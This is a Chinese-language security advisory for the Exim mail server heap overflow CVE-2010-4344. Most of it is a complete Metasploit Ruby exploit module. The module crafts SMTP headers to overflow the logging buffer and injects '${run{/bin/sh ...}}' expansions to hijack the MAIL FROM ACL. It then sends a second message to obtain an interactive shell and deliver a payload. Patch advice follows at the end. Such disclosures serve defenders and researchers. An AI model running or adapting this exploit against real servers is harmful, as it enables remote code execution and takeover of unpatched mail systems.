发布日期：2010-12-07
更新日期：2011-09-15

受影响系统：

University of Cambridge Exim 4.x

不受影响系统：

University of Cambridge Exim 4.72
University of Cambridge Exim 4.70
University of Cambridge Exim 4.69-26
University of Cambridge Exim 4.63-5

描述：

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BUGTRAQ  ID: 45308
CVE ID: CVE-2010-4344

Exim是由剑桥大学开发的Unix系统上的邮件传输代理（MTA）。

Exim在实现上存在安全漏洞，可被利用以exim用户权限执行任意代码。

<*来源：Sergey Kononenko
  
  链接：http://osvdb.org/show/osvdb/69685
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Sergey Kononenko （）提供了如下测试方法：

##
# $Id: exim4_string_format.rb 11274 2010-12-10 19:34:23Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Smtp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
            'Description'    => %q{
                    This module exploits a heap buffer overflow within versions of Exim prior to
                version 4.69. By sending a specially crafted message, an attacker can corrupt the
                heap and execute arbitrary code with the privileges of the Exim daemon.

                The root cause is that no check is made to ensure that the buffer is not full
                prior to handling '%s' format specifiers within the 'string_vformat' function.
                In order to trigger this issue, we get our message rejected by sending a message
                that is too large. This will call into log_write to log rejection headers (which
                is a default configuration setting). After filling the buffer, a long header
                string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
                FROM' command. By sending a second message, the string we sent will be evaluated
                with 'expand_string' and arbitrary shell commands can be executed.

                It is likely that this issue could also be exploited using other techniques such
                as targeting in-band heap management structures, or perhaps even function pointers
                stored in the heap. However, these techniques would likely be far more platform
                specific, more complicated, and less reliable.

                This bug was original found and reported in December 2008, but was not
                properly handled as a security issue. Therefore, there was a 2 year lag time
                between when the issue was fixed and when it was discovered being exploited
                in the wild. At that point, the issue was assigned a CVE and began being
                addressed by downstream vendors.

                An additional vulnerability, CVE-2010-4345, was also used in the attack that
                led to the discovery of danger of this bug. This bug allows a local user to
                gain root privileges from the Exim user account. We are not currently
                utilizing that bug within this module.
            },
            'Author'         => [ 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11274 $',
            'References'     =>
                [
                    [ 'CVE', '2010-4344' ],
                    # [ 'OSVDB', '' ],
                    # [ 'BID', '' ],
                    # [ 'URL', '' ],
                    [ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
                    [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
                    [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
                    [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 8192, # much more in reality, but w/e
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    [ 'Automatic', { }],
                ],
            # Originally discovered/reported Dec 2 2008
            'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
            'DefaultTarget'  => 0))
    end

    def exploit

        from = datastore['MAILFROM']
        to = datastore['MAILTO']

        helo_host = "X"  # From the mixin
        max_msg = 52428800
        msg_len = max_msg + 1000 # just for good measure
        log_buffer_size = 8192
        ip = Rex::Socket.source_address('1.2.3.4')

        # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
        print_status("Constructing initial headers ...")
        log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> H=(#{helo_host}) [#{ip}]: message too big: read=#{msg_len} max=#{max_msg}\n"
        log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"

        # Now, "  " + hdrline for each header
        hdrs = []
        filler = rand_text_alphanumeric(8 * 16)

        # We want 2 bytes left, so we subtract from log_buffer_size here
        log_buffer_size -= 3 # we use 3 since they account for a trailing nul
        60.times { |x|
            break if log_buffer.length >= log_buffer_size

            hdr = "Header%04d: %s\n" % [x, filler]
            newlen = log_buffer.length + hdr.length
            if newlen > log_buffer_size
                newlen -= log_buffer_size
                # chop the excess, NOTE: the "2" is for the "  " before the header
                off = hdr.length - newlen - 2 - 1
                hdr.slice!(off, hdr.length)
                hdr << "\n"
            end
            hdrs << hdr
            log_buffer << "  " << hdr
        }
        hdrs1 = hdrs.join

        # This header will smash various heap stuff, hopefully including the ACL
        print_status("Constructing HeaderX ...")
        hdrx = 'HeaderX: '
        1.upto(50) { |a|
            3.upto(12) { |b|
                hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
            }
        }

        # In order to trigger the overflow, we must get our message rejected.
        # To do so, we send a message that is larger than the maximum.
        print_status("Constructing body ...")
        body = ''
        659883.times {
            body << ("MAILbomb" * 10) + "\n"
        }

        body_len = 53450538 - (53477372-52428800) + 1

        print_status("Combining parts ...")
        data = ''
        data << hdrs1
        data << hdrx
        data << "\n"
        data << body

        print_status("Connecting ...")
        connect_login
        print_status("Sending data ...")
        sock.put data

        print_status("Ending first message.")
        buf = raw_send_recv("\n.\n")
        # Should be: ""552 Message size exceeds maximum permitted\r\n"
        print_status("Result: #{buf.inspect}") if buf

        print_status("Sending second message ...")
        buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
        # Should be: "sh-x.x$ " !!
        print_status("MAIL result: #{buf.inspect}") if buf

      buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
        # Should be: "sh: RCPT: command not found\n"
        print_status("RCPT result: #{buf.inspect}") if buf

        print_status("Should have a shell now, sending our payload to it..")
        buf = raw_send_recv("\n" + payload.encoded + "\n\n")
        print_status("Payload result: #{buf.inspect}") if buf
        # Give some time for the payload to be consumed
        select(nil, nil, nil, 4)

        handler
        disconnect
    end

end

建议：

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厂商补丁：

University of Cambridge
-----------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.exim.org

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